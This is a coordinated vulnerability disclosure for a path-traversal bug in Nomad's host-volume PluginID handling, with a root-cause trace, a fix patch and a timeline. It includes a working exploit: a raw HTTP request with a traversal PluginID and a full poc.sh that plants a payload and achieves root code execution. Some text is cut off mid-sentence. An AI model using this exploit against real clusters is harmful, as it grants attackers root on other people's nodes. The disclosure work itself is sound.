ANT-2026-CN7KX43N · nomad

path-traversal critical

CVE-2026-7474

Severity Claude critical · Security research firm critical · Maintainer -

Discovered by Claude Mythos Preview

REPORT

Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Doyensec.

ANT-2026-CN7KX43N: nomad: path-traversal at client/hostvolumemanager/host_volume_plugin.go:229

check.sh tests a real invariant. /flag/pwned is deleted by setup.sh:20 and written only by /tmp/nomad-poc/evil.sh (setup.sh:29-34), which lives outside the client's plugin dir (/tmp/nomad-data/host_volume_plugins). Nothing in poc.sh executes it directly. If /flag/pwned exists after poc.sh, the Nomad client agent executed an out-of-plugin-dir binary — exactly the security invariant the plugin directory is supposed to enforce. Not a self-fulfilling harness check.

Target

Project: nomad
Location: client/hostvolumemanager/host_volume_plugin.go:229

Technical Details

check.sh tests a real invariant. /flag/pwned is deleted by setup.sh:20 and written only by /tmp/nomad-poc/evil.sh (setup.sh:29-34), which lives outside the client's plugin dir (/tmp/nomad-data/host_volume_plugins). Nothing in poc.sh executes it directly. If /flag/pwned exists after poc.sh, the Nomad client agent executed an out-of-plugin-dir binary — exactly the security invariant the plugin directory is supposed to enforce. Not a self-fulfilling harness check.

Reproduced end-to-end via the real wire protocol (no internal function calls, no test harness):

pre  check.sh → 0
poc  : PUT /v1/volume/host/create (limited token) → 200, {"PluginID":"../../../../../../../tmp/nomad-poc/evil.sh",...}
post check.sh → 1  ("VIOLATED: /flag/pwned exists")

Sanity gates in poc.sh confirmed the limited token is truly limited: GET /v1/acl/tokens → 403, PUT /v1/volume/host/register → 403.

Backwards trace, attacker-controlled PluginIDexec():

  1. PUT /v1/volume/host/createhostVolumeCreate — command/agent/host_volume_endpoint.go:47-54, 112-128. decodeBody unmarshals the full JSON body into HostVolumeCreateRequest; Volume.PluginID is attacker-supplied verbatim. Calls s.agent.RPC("HostVolume.Create", ...).
  2. Server RPC HostVolume.Create — nomad/host_volume_endpoint.go:183-290.
  3. ACL gate at :206/:220 = acl.NamespaceValidator(acl.NamespaceCapabilityHostVolumeCreate) — only host-volume-create in the volume's namespace is required.
  4. validateVolumeUpdateHostVolume.Validate() — nomad/structs/host_volumes.go:133-171 — checks ID/Name/capacity/capabilities/constraints; never inspects PluginID.
  5. placeHostVolume() — nomad/host_volume_endpoint.go:523-534 — when vol.NodeID != "" (attacker sets it; needs only node:read to learn one), it early-returns. This skips the only server-side plugin-existence gate at :561-564 (the ${attr.plugins.host_volume.<PluginID>.version} is_set constraint that would otherwise reject a never-fingerprinted traversal path).
  6. createVolume() — nomad/host_volume_endpoint.go:466-480 — copies vol.PluginID unmodified into cstructs.ClientHostVolumeCreateRequest and fires server→client RPC ClientHostVolume.Create.
  7. Client RPC HostVolume.Create — client/host_volume_endpoint.go:25-43 → c.hostVolumeManager.Create(ctx, req).
  8. HostVolumeManager.Create — client/hostvolumemanager/host_volumes.go:89-150 → hvm.getPlugin(req.PluginID) at :94.
  9. getPlugin — host_volumes.go:231-237 — not a builtin → NewHostVolumePluginExternal(log, hvm.pluginDir, id, hvm.volumesDir, hvm.nodePool) with id == attacker PluginID.
  10. Sink construction — client/hostvolumemanager/host_volume_plugin.go:224-248 — executable := filepath.Join(pluginDir, filename) at :229. filepath.Join cleans .., so pluginDir + "../../../../tmp/nomad-poc/evil.sh" normalizes outside pluginDir. No filepath.Rel/strings.HasPrefix/filepath.IsLocal confinement. Only checks: os.Stat exists + helper.IsExecutable (exec bit set).
  11. plug.Create() (:321) → p.runPlugin(ctx, log, "create", env)exec.CommandContext(ctx, p.Executable, op) at host_volume_plugin.go:435 — arbitrary binary executed as the Nomad client process user.

Minimal real-input reachability proof (single HTTP request with a token holding only namespace host-volume-create + node:read):

PUT /v1/volume/host/create HTTP/1.1
Host: <nomad-server>:4646
X-Nomad-Token: <limited-token>
Content-Type: application/json

{"Volume":{"Name":"x","Namespace":"default","NodeID":"<any-ready-node-id>",
 "PluginID":"../../../../../../../path/to/executable/on/that/node"}}

No non-default server/client config is required (dynamic host volumes are core in ≥1.10; ACLs are the recommended production posture and make the boundary more meaningful, not less).

REACHABLE

The triggering bytes (Volume.PluginID, Volume.NodeID) are supplied over

Reproduction

Reproduce against the target as described under Technical Details.

[No reproducer or sanitizer output attached — request from cvd@anthropic.com if needed.]

Acknowledgement

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-CN7KX43N.


Reference: ANT-2026-CN7KX43N
Anthropic CVD Policy: https://anthropic.com/security/cvd-policy

SECURITY RESEARCH FIRM ANALYSIS

Triage and disclosure were performed by Doyensec. The writeup below is the document the firm sent to the maintainer.

Verdict
true positive
Severity
critical

Vulnerability Header

Field Value
Vulnerability Title Path Traversal in Dynamic Host Volume PluginID Yields Code Execution on Cluster Clients
Severity Rating High
Bug Category Path Traversal
Location client/hostvolumemanager/host_volume_plugin.go:229, NewHostVolumePluginExternal()
Affected Versions v2.0.0 (commit 7a90601f4d9bc473718311fe5167c0c1f66500ba). Dynamic host volumes are a core feature in versions ≥ 1.10, so older releases on the same code path are likely affected as well.

Executive Summary

Nomad's dynamic host-volume subsystem accepts the volume's PluginID from the API caller and passes it verbatim to the client agent, which constructs the plugin executable path with filepath.Join(pluginDir, pluginID). filepath.Join cleans .. segments, so a PluginID containing path-traversal sequences resolves to a file outside the plugin directory. The client then invokes that file via exec.CommandContext and the absence of any path-confinement check (filepath.Rel, HasPrefix, IsLocal) is the missing safeguard.

Two server-side gates exist that should have caught the malicious input but do not. HostVolume.Validate() does not inspect PluginID, and the only server-side plugin-existence check — a constraint that requires the target node to have fingerprinted the plugin — is short-circuited when the request specifies NodeID directly. The result: a token holding only host-volume-create on a single namespace plus node:read (the routine delegation given to namespace tenants) can cause the Nomad client agent to execute an arbitrary on-disk binary on any node in the cluster, with the op argument fixed at "create" and a closed set of attacker-influenced environment variables.

Code execution as root requires the attacker to also have an executable file at a known path on the target client node. The bug itself does not provide that primitive; on most production deployments, however, the same tenants who already hold host-volume-create also hold submit-job, which gives them a straightforward way to drop a file via a Nomad task. The combined chain therefore yields low-privilege tenant → root code execution on any client node — but the second step is a separate, deployment-dependent privilege rather than something the bug grants on its own. The standalone bug is rated High; the realistic combined exploitation against a multi-tenant cluster reaches Critical.

Root Cause Analysis

Technical Description

The attack chain spans the HTTP API, the server RPC, and the client RPC. Attacker-supplied Volume.PluginID flows unmodified from JSON body to exec.CommandContext.

1. HTTP entry decodes the request body verbatim.

// command/agent/host_volume_endpoint.go:112-128
func (s *HTTPServer) hostVolumeCreate(resp http.ResponseWriter, req *http.Request) (any, error) {
    args := structs.HostVolumeCreateRequest{}
    if err := decodeBody(req, &args); err != nil {
        return err, CodedError(400, err.Error())
    }
    s.parseWriteRequest(req, &args.WriteRequest)
    var out structs.HostVolumeCreateResponse
    if err := s.agent.RPC("HostVolume.Create", &args, &out); err != nil {
        return nil, err
    }
    setIndex(resp, out.Index)
    return &out, nil
}

Volume.PluginID is unmarshalled directly into the request struct.

2. Server RPC HostVolume.Create performs a namespace-scoped ACL check, then validation that ignores PluginID.

The ACL check at nomad/host_volume_endpoint.go:206,220 is acl.NamespaceValidator(acl.NamespaceCapabilityHostVolumeCreate) — only host-volume-create on the volume's namespace is required. The validation step validateVolumeUpdate calls HostVolume.Validate() (nomad/structs/host_volumes.go:133-171), which checks ID/Name/capacity/capabilities/constraints but never inspects PluginID.

3. The plugin-existence constraint is bypassed when NodeID is supplied.

placeHostVolume() is the only place that would reject a non-fingerprinted plugin:

// nomad/host_volume_endpoint.go:523-534
func (v *HostVolume) placeHostVolume(snap *state.StateSnapshot, vol *structs.HostVolume) (*structs.Node, error) {
    if vol.NodeID != "" {
        node, err := snap.NodeByID(nil, vol.NodeID)
        // ...
        vol.NodePool = node.NodePool
        return node, nil    // <-- early return, skips constraint check below
    }
    // ...
    constraints := []*structs.Constraint{{
        LTarget: fmt.Sprintf("${attr.plugins.host_volume.%s.version}", vol.PluginID),
        Operand: "is_set",
    }}
    // ...
}

When the caller sets NodeID (which a holder of node:read can readily obtain via GET /v1/nodes), the function returns immediately, skipping the ${attr.plugins.host_volume.<PluginID>.version} is_set constraint at :561-564 that would otherwise reject any PluginID not fingerprinted by the node.

4. The server forwards PluginID unmodified to the client.

createVolume (nomad/host_volume_endpoint.go:466-480) copies the field into cstructs.ClientHostVolumeCreateRequest{PluginID: vol.PluginID, ...} and dispatches ClientHostVolume.Create.

5. The client looks up the plugin by ID.

HostVolumeManager.Create (client/hostvolumemanager/host_volumes.go:89-150) calls hvm.getPlugin(req.PluginID) at line 94. getPlugin (:231-237) does not match the supplied ID against any built-in plugin, so it falls through to the external-plugin constructor:

// client/hostvolumemanager/host_volumes.go:231-237
func (hvm *HostVolumeManager) getPlugin(id string) (HostVolumePlugin, error) {
    if plug, ok := hvm.builtIns[id]; ok {
        return plug, nil
    }
    log := hvm.log.With("plugin_id", id)
    return NewHostVolumePluginExternal(log, hvm.pluginDir, id, hvm.volumesDir, hvm.nodePool)
}

6. The sink: unbounded filepath.Join.

// client/hostvolumemanager/host_volume_plugin.go:224-248
func NewHostVolumePluginExternal(log hclog.Logger,
    pluginDir, filename, volumesDir, nodePool string) (*HostVolumePluginExternal, error) {
    executable := filepath.Join(pluginDir, filename)
    f, err := os.Stat(executable)
    if err != nil {
        if os.IsNotExist(err) {
            return nil, fmt.Errorf("%w: %q", ErrPluginNotExists, filename)
        }
        return nil, err
    }
    if !helper.IsExecutable(f) {
        return nil, fmt.Errorf("%w: %q", ErrPluginNotExecutable, filename)
    }
    return &HostVolumePluginExternal{ID: filename, Executable: executable, ...}, nil
}

filepath.Join invokes path/filepath.Clean, which collapses .. segments. With pluginDir = "/opt/nomad/host_volume_plugins" and filename = "../../../../tmp/evil.sh", the result is /tmp/evil.sh — entirely outside the plugin directory. The only post-resolution checks are os.Stat (existence) and helper.IsExecutable (executable bit). There is no filepath.Rel / strings.HasPrefix / filepath.IsLocal check that would refuse the resolved path if it falls outside pluginDir.

7. Execution.

// client/hostvolumemanager/host_volume_plugin.go:435
cmd := exec.CommandContext(ctx, p.Executable, op)
cmd.Env = env

The resolved path is invoked with op = "create" and an environment that includes attacker-controlled VOLUME_NAME, VOLUME_ID, NAMESPACE, NODE_ID, and the JSON-marshalled PARAMETERS map (host_volume_plugin.go:329-342).

First Faulty Condition

File client/hostvolumemanager/host_volume_plugin.go
Line 229
Condition filepath.Join(pluginDir, filename) is used to compose the plugin executable path with no confinement check. filepath.Join cleans .. segments, so an attacker-supplied filename containing path-traversal sequences resolves to a file outside pluginDir. The function relies on os.Stat and helper.IsExecutable as its only post-resolution checks; neither restricts the path to the plugin directory.

Trace Analysis

Attacker-controlled bytes (HTTP body) → root code execution on the client node:

Exploitability Assessment

Attack Vector & Reachability

Attack vector Network.
Authentication required Low. Any ACL token holding the host-volume-create namespace capability on one namespace plus a node policy of read. This is the routine delegation given to namespace tenants.
User interaction required None.
Reachable in default config Yes.
Entry point(s) PUT /v1/volume/host/create with attacker-supplied Volume.PluginID containing .. sequences and Volume.NodeID set to any node ID learned via GET /v1/nodes.

Impact

The bug is rated High as a standalone primitive and Critical when combined with the routine adjacent privilege of Nomad job submission. The two layers are described separately below.

What the bug grants on its own. The Nomad client agent invokes an attacker-chosen on-disk path as <binary> "create" with the agent's process UID — typically root in production. The environment is replaced with a closed set of variables (OPERATION, VOLUMES_DIR, PLUGIN_DIR, NODE_POOL, NAMESPACE, VOLUME_NAME, VOLUME_ID, CAPACITY_MIN, CAPACITY_MAX, NODE_ID, PARAMETERS); PATH, LD_PRELOAD, LD_LIBRARY_PATH, and other inherited variables are not present. Standalone, this is a path-traversal-to-execute primitive with constrained argv and env, which by itself is enough to:

What turns it into root RCE. To execute attacker-controlled code as root, the attacker also needs a file they placed at a known path on the target client node. The bug does not grant that primitive — it requires either:

In multi-tenant deployments the first vector is effectively free: tenants who hold host-volume-create almost always also hold submit-job on the same namespace, because both are part of the same "self-service workload management" delegation. Against such clusters the bug behaves as Critical: low-privilege tenant token → root code execution on any client node, with no second vulnerability required. Against single-tenant deployments where the attacker has no other Nomad capabilities and no foothold on the host, the bug remains High but is materially harder to weaponise.

Verified Impact

The Critical-tier combined chain was reproduced end-to-end on a default-configured combined server+client agent running as root. The payload file was placed by hand on the host (simulating the submit-job-then-write-to-host primitive that a multi-tenant attacker would have available); the rest of the chain — token, request, RCE-as-root — is entirely the bug under test.

  1. A token holding only namespace "default" { capabilities = ["host-volume-create"] } and node { policy = "read" } was issued via nomad acl token create.
  2. Sanity gates confirmed the token is genuinely low-privilege: GET /v1/acl/tokens and PUT /v1/volume/host/register both returned HTTP 403 with that token.
  3. A single PUT /v1/volume/host/create request with PluginID = "../../../../../../../tmp/evil.sh" and a NodeID learned from GET /v1/nodes returned HTTP 200 and committed the volume to Raft (X-Nomad-Index: 181).
  4. The marker file written by /tmp/evil.sh reported ran-by-uid=0 gid=0 user=root pid=47853 and argv: /tmp/evil.sh create. The marker file itself was owned by root:root, confirming that the Nomad client agent — not the attacker's shell — performed the execution.
  5. The supplied patch (diff.patch) was then applied and the binaries rebuilt. The same trigger request now returns an error referencing plugin id must be a local filename, not a path and /tmp/PWNED is not created, confirming the fix closes the bug.

Reproduction Steps

Environment

OS / version Ubuntu 24.04 LTS
Target version / commit Nomad v2.0.0 (commit 7a90601f4d9bc473718311fe5167c0c1f66500ba)
Configuration Single combined-mode server+client agent with ACLs enabled and bootstrapped, host_volume_plugin_dir = "/opt/nomad/host_volume_plugins", agent process running as root.

Steps

# Run the bundled PoC. MGMT must be set to a Nomad management token (the
# bootstrap token is fine); the script does the rest — plants the payload,
# sanity-checks ACL enforcement, mints a low-privilege token, fires the
# trigger request, and verifies /tmp/PWNED was written.
NOMAD_HTTP=http://127.0.0.1:4646 \
MGMT=<management-token> \
    ./poc.sh

PoC files

Expected outcome

Check Expected
/v1/volume/host/create without a token HTTP 403 — confirms ACLs are enforcing on this endpoint.
GET /v1/acl/tokens with the limited token HTTP 403 — the attacker token cannot list ACL tokens.
PUT /v1/volume/host/register with the limited token HTTP 403 — sibling write endpoint is correctly gated by an additional capability the attacker does not hold.
/v1/volume/host/create with the limited token and a path-traversal PluginID HTTP 200; response body echoes back the malicious PluginID and the volume is committed to Raft.
/tmp/PWNED exists and is root-owned; /tmp/PWNED.log reports ran-by-uid=0 The Nomad client agent invoked an executable located outside host_volume_plugin_dir, as root.

The contrast between the 403s and the successful trigger isolates the bug to the missing path-confinement check — the ACL boundary is intact; the boundary that fails is the plugin-directory invariant.

Recommended Fix

  1. Primary fix — confine the resolved path to pluginDir. In NewHostVolumePluginExternal (client/hostvolumemanager/host_volume_plugin.go:224-248), after computing executable := filepath.Join(pluginDir, filename), refuse to proceed if the result escapes pluginDir. The standard Go idiom is filepath.Rel(pluginDir, executable) followed by a check that the result does not start with .. or contain /..; in modern Go (≥1.20) filepath.IsLocal(filename) is the more concise check on the unresolved input. Either approach turns a path-traversal PluginID into an immediate boot-time error rather than a sink invocation.

  2. Defence in depth — validate PluginID server-side. Reject Volume.PluginID values that contain .., /, or \ at the API boundary (HostVolume.Validate() in nomad/structs/host_volumes.go). A plugin ID is a logical name, not a path; the server has no legitimate reason to accept separators or relative components in this field. A regex like ^[a-zA-Z0-9_-]+$ matches Nomad's documented plugin-ID convention and stops the malicious input at the entry point.

  3. Defence in depth — do not skip the plugin-existence constraint when NodeID is supplied. placeHostVolume short-circuits the ${attr.plugins.host_volume.<id>.version} is_set constraint when the caller pre-selects a node. Apply the same constraint check in the early-return branch so a never-fingerprinted plugin ID is rejected regardless of placement strategy. This converts the "place-by-NodeID" path from a bypass into another defence layer.

  4. Operational guidance. The agent already logs the resolved executable path on plugin loads. Surfacing this prominently — for example, including the resolved absolute path and a "outside host_volume_plugin_dir" annotation in the WARN line — would help operators detect this class of misuse during incident review.

Patch provenance: AI-generated + Human-reviewed

References

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research

Attachment: diff.patch

diff --git a/client/hostvolumemanager/host_volume_plugin.go b/client/hostvolumemanager/host_volume_plugin.go
index 6a0fa65a2f..d4daf21192 100644
--- a/client/hostvolumemanager/host_volume_plugin.go
+++ b/client/hostvolumemanager/host_volume_plugin.go
@@ -14,6 +14,7 @@ import (
    "path/filepath"
    "runtime"
    "strconv"
+   "strings"
    "time"

    "github.com/hashicorp/go-hclog"
@@ -223,10 +224,35 @@ var _ HostVolumePlugin = &HostVolumePluginExternal{}
 // if the specified executable exists on disk.
 func NewHostVolumePluginExternal(log hclog.Logger,
    pluginDir, filename, volumesDir, nodePool string) (*HostVolumePluginExternal, error) {
+   // Refuse plugin IDs that are not a single local path component. A plugin
+   // ID is a logical name; values containing ".." or path separators would
+   // allow filepath.Join below to escape pluginDir and resolve to an
+   // arbitrary on-disk executable.
+   if !filepath.IsLocal(filename) {
+       return nil, fmt.Errorf("%w: %q", ErrPluginIDNotLocal, filename)
+   }
+
    // this should only be called with already-detected executables,
    // but we'll double-check it anyway, so we can provide a tidy error message
    // if it has changed between fingerprinting and execution.
    executable := filepath.Join(pluginDir, filename)
+
+   // Defence in depth: even with IsLocal above, confirm that the resolved
+   // path is contained in pluginDir. Refuse any input where filepath.Join
+   // produces a path outside the plugin directory.
+   absPluginDir, err := filepath.Abs(pluginDir)
+   if err != nil {
+       return nil, fmt.Errorf("resolving plugin directory: %w", err)
+   }
+   absExecutable, err := filepath.Abs(executable)
+   if err != nil {
+       return nil, fmt.Errorf("resolving plugin executable path: %w", err)
+   }
+   rel, err := filepath.Rel(absPluginDir, absExecutable)
+   if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
+       return nil, fmt.Errorf("%w: %q", ErrPluginIDNotLocal, filename)
+   }
+
    f, err := os.Stat(executable)
    if err != nil {
        if os.IsNotExist(err) {
diff --git a/client/hostvolumemanager/host_volumes.go b/client/hostvolumemanager/host_volumes.go
index e8b0272b9e..d3ac38c760 100644
--- a/client/hostvolumemanager/host_volumes.go
+++ b/client/hostvolumemanager/host_volumes.go
@@ -20,6 +20,7 @@ import (
 var (
    ErrPluginNotExists     = errors.New("no such plugin")
    ErrPluginNotExecutable = errors.New("plugin not executable")
+   ErrPluginIDNotLocal    = errors.New("plugin id must be a local filename, not a path")
    ErrVolumeNameExists    = errors.New("volume name already exists on this node")
 )

Attachment: poc.sh.txt

#!/usr/bin/env bash
#
# poc.sh — exploit the host-volume PluginID path-traversal to make the Nomad
# client agent execute an arbitrary on-disk binary as its process user
# (typically root in production).
#
# Steps performed:
#   1. Plant a payload script at /tmp/evil.sh that records the executor's
#      uid/gid and the env vars Nomad passes.
#   2. Sanity: confirm ACLs are enforcing on /v1/volume/host/create (no token
#      → 403) and that we have a working management token.
#   3. Create (or refresh) a low-privilege ACL policy and token holding
#      only `host-volume-create` on the default namespace plus `node:read`.
#   4. Sanity: confirm the limited token is genuinely limited
#      (GET /v1/acl/tokens → 403, PUT /v1/volume/host/register → 403).
#   5. Trigger the bug with `PluginID = "../../../../../../../tmp/evil.sh"`
#      and a NodeID learned via `node:read`.
#   6. Verify /tmp/PWNED was created and report the executor uid.
#
# Required environment:
#   NOMAD_HTTP : Nomad HTTP API base URL (default: http://127.0.0.1:4646)
#   MGMT       : Nomad management token (required; bootstrap token is fine)
#
# Cleanup is left to the caller. /tmp/PWNED and /tmp/PWNED.log are typically
# owned by root after a successful run; remove with `sudo rm -f /tmp/PWNED*`.

set -euo pipefail

NOMAD_HTTP="${NOMAD_HTTP:-http://127.0.0.1:4646}"
MGMT="${MGMT:-${NOMAD_TOKEN:-}}"

if [ -z "${MGMT:-}" ]; then
    echo "[-] MGMT (or NOMAD_TOKEN) must be set to a Nomad management token." >&2
    exit 2
fi

command -v curl >/dev/null || { echo "[-] curl required";  exit 2; }
command -v jq   >/dev/null || { echo "[-] jq required";    exit 2; }
command -v nomad >/dev/null || { echo "[-] nomad CLI required"; exit 2; }

echo "[*] target: $NOMAD_HTTP"
echo

# ---------------------------------------------------------------------------
# 1. Plant the payload outside the plugin directory.
# ---------------------------------------------------------------------------
sudo rm -f /tmp/PWNED /tmp/PWNED.log
cat > /tmp/evil.sh <<'EOF'
#!/bin/bash
touch /tmp/PWNED
{
  echo "ran-by-uid=$(id -u) gid=$(id -g) user=$(id -un) pid=$$"
  echo "argv: $0 $*"
  echo
  echo "--- env vars Nomad passed ---"
  env | sort
} > /tmp/PWNED.log 2>&1
# Plugin "create" protocol: respond with valid JSON so Nomad doesn't error.
echo '{"path":"/tmp/evil-vol","bytes":0}'
EOF
chmod +x /tmp/evil.sh
echo "[+] planted /tmp/evil.sh"

# ---------------------------------------------------------------------------
# 2. Sanity: endpoint requires a token at all.
# ---------------------------------------------------------------------------
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -X PUT "$NOMAD_HTTP/v1/volume/host/create" \
    -d '{"Volume":{"Name":"x","Namespace":"default"}}')
echo "[*] PUT /v1/volume/host/create (no token) → HTTP $HTTP_CODE"
if [ "$HTTP_CODE" != "403" ]; then
    echo "[!] expected 403; ACLs may not be enabled. Continuing anyway."
fi

# ---------------------------------------------------------------------------
# 3. Low-privilege ACL policy + token.
# ---------------------------------------------------------------------------
POLICY_FILE=$(mktemp /tmp/limited-policy.XXXX.hcl)
cat > "$POLICY_FILE" <<'EOF'
namespace "default" { capabilities = ["host-volume-create"] }
node                { policy       = "read"                  }
EOF
NOMAD_TOKEN=$MGMT nomad acl policy apply limited "$POLICY_FILE" >/dev/null
LIMITED=$(NOMAD_TOKEN=$MGMT nomad acl token create \
            -name=limited -policy=limited -type=client -json \
            | jq -r '.SecretID')
rm -f "$POLICY_FILE"

if [ -z "$LIMITED" ] || [ "$LIMITED" = "null" ]; then
    echo "[-] failed to mint the limited token" >&2
    exit 1
fi
echo "[+] minted limited token: $LIMITED"

# ---------------------------------------------------------------------------
# 4. Sanity: the limited token is genuinely low-privilege.
# ---------------------------------------------------------------------------
A=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "X-Nomad-Token: $LIMITED" "$NOMAD_HTTP/v1/acl/tokens")
B=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "X-Nomad-Token: $LIMITED" -X PUT \
    "$NOMAD_HTTP/v1/volume/host/register" \
    -d '{"Volume":{"Name":"x","Namespace":"default"}}')
echo "[*] GET /v1/acl/tokens (limited)            → HTTP $A"
echo "[*] PUT /v1/volume/host/register (limited)  → HTTP $B"
if [ "$A" != "403" ] || [ "$B" != "403" ]; then
    echo "[!] expected 403 on both; the token may be stronger than intended."
fi

# ---------------------------------------------------------------------------
# 5. Trigger the bug.
# ---------------------------------------------------------------------------
NODE=$(NOMAD_TOKEN=$MGMT nomad node status -json | jq -r '.[0].ID')
if [ -z "$NODE" ] || [ "$NODE" = "null" ]; then
    echo "[-] no Nomad client node available" >&2
    exit 1
fi
echo "[*] target NodeID: $NODE"

PAYLOAD=$(jq -nc --arg node "$NODE" --arg pid '../../../../../../../tmp/evil.sh' \
            '{Volume:{Name:"poc",Namespace:"default",NodeID:$node,PluginID:$pid}}')

RESPONSE=$(curl -s -w "\nHTTP %{http_code}\n" -X PUT \
            -H "X-Nomad-Token: $LIMITED" \
            -H "Content-Type: application/json" \
            "$NOMAD_HTTP/v1/volume/host/create" \
            -d "$PAYLOAD")
echo
echo "$RESPONSE"
echo

# ---------------------------------------------------------------------------
# 6. Verify the security invariant was violated.
# ---------------------------------------------------------------------------
if [ -e /tmp/PWNED ]; then
    echo "[+] /tmp/PWNED exists — Nomad client agent executed an out-of-plugin-dir binary."
    ls -l /tmp/PWNED
    echo
    echo "--- /tmp/PWNED.log (first 3 lines) ---"
    head -n 3 /tmp/PWNED.log
    UID_LINE=$(grep -m1 ran-by-uid /tmp/PWNED.log || true)
    if echo "$UID_LINE" | grep -q 'uid=0'; then
        echo
        echo "[+] uid=0 confirmed: low-privilege ACL token → root code execution."
    fi
else
    echo "[-] /tmp/PWNED was NOT created."
    echo "[-] Either the bug is patched on this build, or a prerequisite step failed."
fi
TIMELINE

Dates from discovery through public reveal.

  1. 2026-04-12 Reported to tracker
  2. 2026-05-07 Sent to maintainer
  3. 2026-05-07 Maintainer acknowledged
  4. 2026-05-07 Patch released
  5. 2026-05-20 Publicly revealed
PROVENANCE

SHA-3-512 hash:

f3a842104e12d90649407d9cfb8f18a25de1dbb9f0b7139ce9f9beb561c08d4a2e4b0f109c130805f2421face4266272f28650823d154d76e40d22bf7f3b5c4f

Committed 2026-05-07 00:08 PT

Revealed 2026-05-20 00:40 PT

Verify (download preimage.json)

Show preimage JSON
{
  "ant_id": "ANT-2026-CN7KX43N",
  "bug_class": "path-traversal",
  "claude_severity": "critical",
  "commit_sha": null,
  "created_at": "2026-04-12T06:11:37+00:00",
  "description": "<reachability>\n**check.sh tests a real invariant.** `/flag/pwned` is deleted by `setup.sh:20` and written *only* by `/tmp/nomad-poc/evil.sh` (setup.sh:29-34), which lives outside the client's plugin dir (`/tmp/nomad-data/host_volume_plugins`). Nothing in poc.sh executes it directly. If `/flag/pwned` exists after poc.sh, the Nomad client agent executed an out-of-plugin-dir binary — exactly the security invariant the plugin directory is supposed to enforce. Not a self-fulfilling harness check.",
  "discovered_at": null,
  "location": "client/hostvolumemanager/host_volume_plugin.go:229",
  "poc_sha256": null,
  "preimage_version": 1,
  "project": "nomad",
  "reproduction": null,
  "technical_details": "<reachability>\n**check.sh tests a real invariant.** `/flag/pwned` is deleted by `setup.sh:20` and written *only* by `/tmp/nomad-poc/evil.sh` (setup.sh:29-34), which lives outside the client's plugin dir (`/tmp/nomad-data/host_volume_plugins`). Nothing in poc.sh executes it directly. If `/flag/pwned` exists after poc.sh, the Nomad client agent executed an out-of-plugin-dir binary — exactly the security invariant the plugin directory is supposed to enforce. Not a self-fulfilling harness check.\n\n**Reproduced end-to-end via the real wire protocol** (no internal function calls, no test harness):\n```\npre  check.sh → 0\npoc  : PUT /v1/volume/host/create (limited token) → 200, {\"PluginID\":\"../../../../../../../tmp/nomad-poc/evil.sh\",...}\npost check.sh → 1  (\"VIOLATED: /flag/pwned exists\")\n```\nSanity gates in poc.sh confirmed the limited token is truly limited: `GET /v1/acl/tokens → 403`, `PUT /v1/volume/host/register → 403`.\n\n**Backwards trace, attacker-controlled `PluginID` → `exec()`:**\n\n1. `PUT /v1/volume/host/create` → `hostVolumeCreate` — command/agent/host_volume_endpoint.go:47-54, 112-128. `decodeBody` unmarshals the full JSON body into `HostVolumeCreateRequest`; `Volume.PluginID` is attacker-supplied verbatim. Calls `s.agent.RPC(\"HostVolume.Create\", ...)`.\n2. Server RPC `HostVolume.Create` — nomad/host_volume_endpoint.go:183-290.\n   - ACL gate at :206/:220 = `acl.NamespaceValidator(acl.NamespaceCapabilityHostVolumeCreate)` — only `host-volume-create` in the volume's namespace is required.\n   - `validateVolumeUpdate` → `HostVolume.Validate()` — nomad/structs/host_volumes.go:133-171 — checks ID/Name/capacity/capabilities/constraints; **never inspects `PluginID`**.\n   - `placeHostVolume()` — nomad/host_volume_endpoint.go:523-534 — when `vol.NodeID != \"\"` (attacker sets it; needs only `node:read` to learn one), it early-returns. This **skips** the only server-side plugin-existence gate at :561-564 (the `${attr.plugins.host_volume.<PluginID>.version} is_set` constraint that would otherwise reject a never-fingerprinted traversal path).\n   - `createVolume()` — nomad/host_volume_endpoint.go:466-480 — copies `vol.PluginID` unmodified into `cstructs.ClientHostVolumeCreateRequest` and fires server→client RPC `ClientHostVolume.Create`.\n3. Client RPC `HostVolume.Create` — client/host_volume_endpoint.go:25-43 → `c.hostVolumeManager.Create(ctx, req)`.\n4. `HostVolumeManager.Create` — client/hostvolumemanager/host_volumes.go:89-150 → `hvm.getPlugin(req.PluginID)` at :94.\n5. `getPlugin` — host_volumes.go:231-237 — not a builtin → `NewHostVolumePluginExternal(log, hvm.pluginDir, id, hvm.volumesDir, hvm.nodePool)` with `id == attacker PluginID`.\n6. **Sink construction** — client/hostvolumemanager/host_volume_plugin.go:224-248 — `executable := filepath.Join(pluginDir, filename)` at :229. `filepath.Join` cleans `..`, so `pluginDir + \"../../../../tmp/nomad-poc/evil.sh\"` normalizes outside `pluginDir`. No `filepath.Rel`/`strings.HasPrefix`/`filepath.IsLocal` confinement. Only checks: `os.Stat` exists + `helper.IsExecutable` (exec bit set).\n7. `plug.Create()` (:321) → `p.runPlugin(ctx, log, \"create\", env)` → **`exec.CommandContext(ctx, p.Executable, op)` at host_volume_plugin.go:435** — arbitrary binary executed as the Nomad client process user.\n\n**Minimal real-input reachability proof** (single HTTP request with a token holding only namespace `host-volume-create` + `node:read`):\n```\nPUT /v1/volume/host/create HTTP/1.1\nHost: <nomad-server>:4646\nX-Nomad-Token: <limited-token>\nContent-Type: application/json\n\n{\"Volume\":{\"Name\":\"x\",\"Namespace\":\"default\",\"NodeID\":\"<any-ready-node-id>\",\n \"PluginID\":\"../../../../../../../path/to/executable/on/that/node\"}}\n```\nNo non-default server/client config is required (dynamic host volumes are core in ≥1.10; ACLs are the recommended production posture and make the boundary *more* meaningful, not less).\n\nREACHABLE\n</reachability>\n\n<trust_boundary>\nThe triggering bytes (`Volume.PluginID`, `Volume.NodeID`) are supplied over",
  "title": "nomad: path-traversal at client/hostvolumemanager/host_volume_plugin.go:229",
  "vendor_severity": "critical"
}